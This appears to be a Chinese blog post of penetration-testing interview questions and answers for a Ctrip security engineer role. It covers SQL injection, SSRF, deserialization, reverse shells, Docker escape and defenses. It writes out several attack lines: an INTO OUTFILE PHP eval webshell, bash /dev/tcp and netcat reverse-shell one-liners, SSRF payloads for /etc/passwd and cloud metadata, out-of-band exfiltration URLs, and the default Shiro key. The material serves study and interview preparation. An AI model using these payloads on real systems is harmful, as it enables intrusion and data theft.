2025年渗透测试面试题总结-某 携程旅游-基础安全工程师(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 携程旅游-基础安全工程师

反序列化原理

核心原理

扩展分析

SQL注入本质

核心原理

扩展分析

SQL注入写马流程

核心步骤

扩展分析

Outfile与Dumpfile的区别

宽字节截断原理

核心逻辑

扩展分析

SSRF的利用和防御

利用方式

防御方案

SSRF无回显如何利用

Shiro利用失败分析

文件上传防御

SQLMap原理与XSS扫描器对比

SQLMap核心逻辑

XSS扫描器原理

反弹Shell检测与原理

检测手段

反弹Shell原理

Agent信息采集与进程树构建

采集信息类型

进程树构建方法

提权检测

Docker逃逸原理

隧道本质

甲方代码审计与红队漏洞挖掘差异

漏扫与入侵检测的权衡

IAST主动与被动的区别

 携程旅游-基础安全工程师

反序列化原理
sql注入本质
sql注入写马流程
outfile与dumpfile的区别 -前者支持多行和自定义编码
宽字节截断原理
SSRF的利用和防御
SSRF无回显如何利用
shiro利用失败,如何分析
文件上传如何防御
sqlmap原理,如何分析
文件上传如何防御
sqlmap原理,常规xss扫描器原理
反弹shell如何检测
反弹shell的原理
作为一个agent 需要采集哪些信息,如何构建进程树
提权如何检测
docker逃逸原理
隧道本质是什么
甲方的代码审计与红队漏洞挖掘有哪些差异
如何权衡各种漏扫或入侵检测的漏报和误报
IAST主动与被动的区别

助用户理解并应对面试。

反序列化原理

核心原理
  1. 序列化与反序列化的定义
    序列化是将对象状态转换为可存储或传输格式(如JSON、XML、二进制流)的过程,反序列化是其逆向操作。其本质是通过特定协议将内存中的对象结构映射为字节流,便于跨平台传输或持久化存储。

  2. 漏洞触发机制
    反序列化漏洞的根源在于:当程序反序列化不可信数据时,若未严格校验数据合法性,攻击者可能通过构造恶意序列化数据触发非预期的对象创建、方法调用或代码执行。例如,Java中通过ObjectInputStream反序列化时,可能触发readObject()方法中的危险逻辑。

  3. 典型攻击场景

    • 利用链构造:攻击者通过组合目标类库中的多个类(如Apache Commons Collections的Transformer链),形成从反序列化入口到危险操作(如Runtime.exec() )的完整利用链。
    • 动态类加载:某些框架(如XStream)允许通过序列化数据指定加载远程类文件,导致远程代码执行(RCE)。
扩展分析
  • 防御措施
    • 白名单验证:限制反序列化的类范围(如Java的ObjectInputFilter)。
    • 签名校验:对序列化数据添加数字签名,防止篡改。
    • 禁用危险功能:如关闭Java的JNDI远程类加载功能。
  • 工具与检测
    • 使用ysoserial生成攻击载荷,通过流量分析或代码审计识别漏洞点。
    • 安全框架如SerialKiller可拦截恶意反序列化行为。

SQL注入本质

核心原理
  1. 输入作为代码执行
    SQL注入的本质是将用户输入拼接到SQL语句中,导致输入数据被解析为SQL代码。例如,' OR 1=1 -- 闭合原查询条件,使查询逻辑失效。

  2. 漏洞分类

    • 联合查询注入:通过UNION合并恶意查询。
    • 布尔盲注:通过页面响应差异逐位推断数据。
    • 时间盲注:利用SLEEP()等函数触发延迟判断。
  3. 攻击影响
    可导致数据泄露、篡改、权限提升,甚至通过xp_cmdshell执行系统命令。

扩展分析
  • 防御方案
    • 预编译(参数化查询):将输入作为参数而非语句的一部分(如Java的PreparedStatement)。
    • 输入过滤:过滤敏感字符(如'";),但需注意转义规则与编码问题。
    • 最小权限原则:数据库账户仅分配必要权限,禁用危险函数。
  • 自动化检测
    • 动态扫描:通过sqlmap等工具自动化探测注入点。
    • 静态分析:使用Semgrep检查代码中的字符串拼接逻辑。

SQL注入写马流程

核心步骤
  1. 路径与权限获取

    • 通过@@secure_file_priv查看MySQL导出路径限制。
    • 确保数据库用户具备FILE权限,且目标目录可写。
  2. 文件写入
    使用SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/shell.php' 将WebShell写入Web目录。

  3. 访问与利用
    通过HTTP请求访问WebShell,传递参数执行命令。

扩展分析
  • 限制条件
    • MySQL需启用--secure-file-priv的非严格模式。
    • 绝对路径需通过报错或枚举获取(如load_file()读取配置文件)。
  • 防御手段
    • 禁用FILE权限,限制数据库账户操作范围。
    • 对Web目录设置不可执行权限。

Outfile与Dumpfile的区别

  1. 功能差异
    • OUTFILE:支持多行数据导出,可指定字段终止符(如FIELDS TERMINATED BY ',')和编码格式。
    • DUMPFILE:仅导出单行数据,适用于二进制文件(如图片、可执行文件)。
  2. 使用场景
    • 导出文本OUTFILE适用于CSV、日志等结构化文本。
    • 导出二进制DUMPFILE用于导出BLOB字段或二进制内容。
  3. 安全限制
    两者均需FILE权限,且受@@secure_file_priv路径限制。

宽字节截断原理

核心逻辑
  1. 编码漏洞成因
    当数据库使用GBK等宽字节编码时,若转义逻辑不当(如PHP的addslashes()),'被转义为\'(即%5C%27)。攻击者输入%bf%27,数据库将%bf%5c解析为繁体字“縗”,导致%27')未被转义,从而闭合字符串。

  2. 利用场景
    常用于绕过转义函数,构造SQL注入或文件上传漏洞(如截断文件名a.php%bf.jpg )。

扩展分析
  • 防御方案
    • 统一使用UTF-8编码,避免宽字节问题。
    • 使用mysql_real_escape_string()而非addslashes()

SSRF的利用和防御

利用方式
  1. 内网服务探测
    • 访问http://127.0.0.1:8080探测本地服务。
    • 利用AWS元数据接口http://169.254.169.254获取云服务器敏感信息。
  2. 协议滥用
    • File协议:读取本地文件(file:///etc/passwd)。
    • Dict协议:探测端口信息(dict://127.0.0.1:6379/info)。
  3. 远程代码执行
    结合内网应用的RCE漏洞(如Redis未授权访问)实现攻击链。
防御方案
  • 输入校验
    • 禁止内网IP和特殊协议(如file://)。
    • 使用域名白名单限制访问范围。
  • 网络层防护
    • 配置防火墙规则,限制应用服务器出站流量。
    • 使用代理服务隔离请求来源。

SSRF无回显如何利用

  1. DNS带外(OOB)
    构造URL如http://dnslog.cn/record?q=payload ,通过DNS查询日志获取数据。
  2. 延迟检测
    通过响应时间差异判断端口开放状态(如访问开放的Redis端口会立即返回错误)。
  3. 外部服务交互
    利用HTTP服务记录请求参数(如https://requestbin.com/?data=secret )。

Shiro利用失败分析

  1. 密钥不匹配
    Shiro的RememberMe功能依赖AES加密,若目标修改默认密钥(kPH+bIxk5D2deZiIxcaaaA==),则无法解密Cookie。
  2. 依赖库缺失
    利用链需特定类库(如Commons Beanutils),若目标环境未包含则攻击失败。
  3. 防御措施生效
    • 开启Shiro的secureRandom增强密钥强度。
    • 使用WAF拦截恶意请求头。

文件上传防御

  1. 文件类型校验
    • 检查MIME类型、文件头(如FFD8FF对应JPEG)。
    • 禁止上传可执行文件(如.php.jsp)。
  2. 存储隔离
    • 文件重命名(如UUID),避免路径遍历。
    • 存储到非Web目录,通过代理服务访问静态资源。
  3. 服务端加固
    • 设置文件大小限制,禁用危险函数(如putenv())。
    • 使用沙箱环境处理上传文件。

SQLMap原理与XSS扫描器对比

SQLMap核心逻辑
  1. 启发式探测
    通过报错信息(如You have an error in your SQL syntax)判断注入点类型。
  2. Payload生成
    针对不同数据库(MySQL、MSSQL)构造联合查询、布尔逻辑等载荷。
  3. 结果提取
    利用UNION查询、时间盲注逐位提取数据。
XSS扫描器原理
  1. 模糊测试(Fuzzing)
    插入<script>alert(1)</script>等测试向量,检测是否原样输出。
  2. DOM分析
    解析JavaScript代码,检测document.location 等敏感源。
  3. 自动化验证
    通过浏览器引擎(如Headless Chrome)模拟点击,检测弹窗行为。

反弹Shell检测与原理

检测手段
  1. 网络流量分析
    • 监控非常规端口的出站连接(如/bin/bash连接外部IP的4444端口)。
    • 识别Shell特征(如sh -i/dev/tcp)。
  2. 进程监控
    • 检测子进程链(如sshd -> bash -> nc)。
    • 使用auditd记录敏感系统调用(execve)。
反弹Shell原理
  1. 反向连接
    受害主机主动连接攻击者控制的IP和端口,绕过防火墙限制。
  2. 常用命令
    • Bashbash -i >& /dev/tcp/1.1.1.1/4444 0>&1
    • Netcatnc -e /bin/sh 1.1.1.1 4444

Agent信息采集与进程树构建

采集信息类型
  1. 系统基础信息
    • 操作系统版本、内核参数、环境变量。
    • 用户列表、计划任务、服务配置。
  2. 运行时数据
    • 进程列表(PID、PPID、命令行参数)。
    • 网络连接(端口、协议、状态)。
  3. 安全相关数据
    • 文件完整性校验(如Tripwire)。
    • 日志文件(syslog、auth.log )。
进程树构建方法
  1. 遍历/proc目录
    解析/proc/[PID]/stat获取父进程ID(PPID),递归生成树状结构。
  2. 工具辅助
    使用pstreehtop可视化展示进程关系。

提权检测

  1. 内核漏洞检测
    使用uname -a获取内核版本,匹配已知漏洞(如DirtyCow)。
  2. SUID/SGID文件检查
    查找具有SUID权限的可执行文件(find / -perm -4000)。
  3. sudo配置审计
    检查/etc/sudoers中用户权限是否过度分配。

Docker逃逸原理

  1. 特权模式滥用
    使用--privileged启动容器,攻击者可通过挂载宿主机目录(/)逃逸。
  2. 漏洞利用
    利用CVE-2019-5736(runc漏洞)覆盖宿主机二进制文件。
  3. 配置错误
    挂载Docker Socket(/var/run/docker.sock )允许容器内控制宿主机Docker服务。

隧道本质

  1. 协议封装
    将原始流量封装在合法协议(如HTTP、DNS)中,绕过防火墙检测。
  2. 流量转发
    使用工具(如frpngrok)建立加密通道,将内网服务暴露至公网。

甲方代码审计与红队漏洞挖掘差异

  1. 目标差异
    • 甲方:聚焦SDL(安全开发生命周期),修复潜在风险(如硬编码密钥)。
    • 红队:寻找可利用漏洞(如RCE、SSRF),模拟真实攻击路径。
  2. 方法论
    • 甲方:结合SAST/DAST工具,覆盖全量代码。
    • 红队:针对性手工测试,利用0day和逻辑漏洞。
  3. 输出结果
    • 甲方:生成漏洞报告并推动修复,关注合规性(如GDPR)。
    • 红队:提供攻击路径报告,协助优化防御体系。

漏扫与入侵检测的权衡

  1. 误报处理
    • 优化规则库:通过误报样本调整正则表达式阈值。
    • 人工验证:对高风险告警手动确认。
  2. 漏报应对
    • 威胁情报整合:基于最新攻击模式更新检测规则。
    • 多层防御:结合网络层、主机层、应用层防护。
  3. 业务适配
    • 根据业务重要性调整检测灵敏度(如金融系统偏向减少漏报)。

IAST主动与被动的区别

  1. 主动式(Instrumentation)
    • 原理:在应用中插入探针,实时监控运行时的数据流和漏洞。
    • 优点:覆盖率高,可检测上下文相关漏洞(如业务逻辑错误)。
    • 缺点:性能损耗大,需适配不同语言框架。
  2. 被动式(流量分析)
    • 原理:通过代理或镜像流量分析请求/响应,识别漏洞模式。
    • 优点:无侵入性,支持多语言应用。
    • 缺点:无法检测未触发代码路径的漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/75318.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CSS 边框(Border)样式详解

CSS 边框&#xff08;Border&#xff09;样式详解 CSS 提供了多种边框样式&#xff0c;使我们能够控制元素的外观。本文将详细介绍 CSS 边框的各种属性及应用示例。 1. 基本边框属性 CSS 主要使用 border 相关属性定义边框&#xff0c;基本语法如下&#xff1a; border: [边…

SpringCould微服务架构之Docker(6)

容器的基本命令&#xff1a; 1. docker exec &#xff1a;进入容器执行命令 2. docker logs: -f 持续查看容器的运行日志 3. docker ps&#xff1a;查看所有运行的容器和状态 案例&#xff1a;创建运行一个容Nginx容器 docker run--name myNginx -p 80:80 -d nginx 命…

unity3d端监听 uri scheme

一、消息监听 1.创建一个脚本命名为 “URISchemeListener” &#xff0c;用于接收URI消息&#xff08;代码如下&#xff09;。 using System; using System.Runtime.InteropServices; using UnityEngine; using UnityEngine.UI;public class URISchemeListener : MonoBehavio…

网络信息安全应急演练方案

信息安全应急演练方案 总则 &#xff08;一&#xff09;编制目的 旨在建立并完善应对病毒入侵、Webshell 攻击以及未授权访问等信息安全突发事件的应急机制&#xff0c;提升组织对这类事件的快速响应、协同处理和恢复能力&#xff0c;最大程度降低事件对业务运营、数据安全和…

电商场景下高稳定性数据接口的选型与实践

在电商系统开发中&#xff0c;API接口需要应对高并发请求、动态数据更新和复杂业务场景。我将重点解析电商场景对数据接口的特殊需求及选型方案。 一、电商API必备的四大核心能力 千万级商品数据实时同步 支持SKU基础信息/价格/库存多维度更新每日增量数据抓取与历史版本对比…

Android R adb remount 调用流程

目的&#xff1a;调查adb remount 与adb shell进去后执行remount的差异 调试方法&#xff1a;添加log编译adbd,替换system\apex\com.android.adbd\bin\adbd 一、调查adb remount实现 关键代码&#xff1a;system\core\adb\daemon\services.cpp unique_fd daemon_service_to…

多模态大语言模型arxiv论文略读(二)

Identifying the Correlation Between Language Distance and Cross-Lingual Transfer in a Multilingual Representation Space ➡️ 论文标题&#xff1a;Identifying the Correlation Between Language Distance and Cross-Lingual Transfer in a Multilingual Representat…

【运维】负载均衡

老规矩&#xff0c;先占坑&#xff0c;后续更新。 开头先理解一下所谓的“均衡”&#xff0c;不能狭义地理解为分配给所有实际服务器一样多的工作量&#xff0c;因为多台服务器的承载能力各不相同&#xff0c;这可能体现在硬件配置、网络带宽的差异&#xff0c;也可能因为某台…

大型语言模型Claude的“思维模式”最近被公开解剖

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

Ubuntu环境安装

1. 安装gcc、g和make sudo apt update sudo apt install build-essential 2. 安装cmake ubuntu安装cmake的三种方法&#xff08;超方便&#xff01;&#xff09;-CSDN博客 3. 安装ssh sudo apt-get install libssl-dev

【力扣hot100题】(028)删除链表的倒数第N个节点

链表题还是太简单了。 怕越界所以先定义了一个头结点的头结点&#xff0c;然后定义快慢指针&#xff0c;快指针先走n步&#xff0c;随后一起走&#xff0c;直到快指针走到头&#xff0c;删除慢指针后一个节点即可。 /*** Definition for singly-linked list.* struct ListNod…

C/C++回调函数实现与std::function和std::bind介绍

1 概述 回调函数是一种编程模式&#xff0c;指的是将一个函数作为参数传递给另一个函数&#xff0c;并在某个特定事件发生时或满足某些条件时由该函数调用。这种机制允许你定义在特定事件发生时应执行的代码&#xff0c;从而实现更灵活和模块化的程序设计。 2 传统C/C回调实现…

【蓝桥杯】单片机设计与开发,速成备赛

一、LED模块开看&#xff0c;到大模板 二、刷第零讲题目&#xff08;直接复制模板&#xff09; 三、空降芯片模板直接调用部分&#xff08;听完再敲代码&#xff09; 四、第十三讲开刷省赛题&#xff08;开始自己背敲模板&#xff09; 五、考前串讲刷一遍 b连接&#xff1…

Java 基础-28- 多态 — 多态下的类型转换问题

在 Java 中&#xff0c;多态&#xff08;Polymorphism&#xff09;是面向对象编程的核心概念之一。多态允许不同类型的对象通过相同的方法接口进行操作&#xff0c;而实际调用的行为取决于对象的实际类型。虽然多态提供了极大的灵活性&#xff0c;但在多态的使用过程中&#xf…

Epub转PDF软件Calibre电子书管理软件

Epub转PDF软件&#xff1a;Calibre电子书管理软件 https://download.csdn.net/download/hu5566798/90549599 一款好用的电子书管理软件&#xff0c;可快速导入电脑里的电子书并进行管理&#xff0c;支持多种格式&#xff0c;阅读起来非常方便。同时也有电子书格式转换功能。 …

在 Ubuntu 22.04 上安装 Docker Compose 的步骤

1. 确保已安装 Docker Docker Compose 需要 Docker 作为依赖&#xff0c;请先安装 Docker&#xff1a; sudo apt update sudo apt install docker.io sudo systemctl enable --now docker2. 下载 Docker Compose 二进制文件 推荐安装最新稳定版的 Docker Compose&#xff08…

Mysql-数据库、安装、登录

一. 数据库 1. 数据库&#xff1a;DataBase&#xff08;DB&#xff09;&#xff0c;是存储和管理数据的仓库。 2. 数据库管理系统&#xff1a;DataBase Management System&#xff08;DBMS&#xff09;,操纵管理数据库的大型软件 3. SQL&#xff1a;Structured Query Language&…

基于SpringAOP面向切面编程的一些实践(日志记录、权限控制、统一异常处理)

前言 Spring框架中的AOP&#xff08;面向切面编程&#xff09; 通过上面的文章我们了解到了AOP面向切面编程的思想&#xff0c;接下来通过一些实践&#xff0c;去更加深入的了解我们所学到的知识。 简单回顾一下AOP的常见应用场景 日志记录&#xff1a;记录方法入参、返回值、执…

Rust 语言语法糖深度解析:优雅背后的编译器魔法

之前介绍了语法糖的基本概念和在C/Python/JavaScript中的使用&#xff0c;今天和大家讨论语法糖在Rust中的表现形式。 程序语言中的语法糖&#xff1a;让代码更优雅的甜味剂 引言&#xff1a;语法糖的本质与价值 语法糖(Syntactic Sugar) 是编程语言中那些并不引入新功能&…

【56】数组指针:指针穿梭数组间

【56】数组指针&#xff1a;指针穿梭数组间 引言 在嵌入式系统开发中&#xff0c;指针操作是优化内存管理和数据交互的核心技术。本文以STC89C52单片机为平台&#xff0c;通过一维指针强制转换、二维指针结构化操作和**return返回指针**三种方法&#xff0c;系统讲解指针操作二…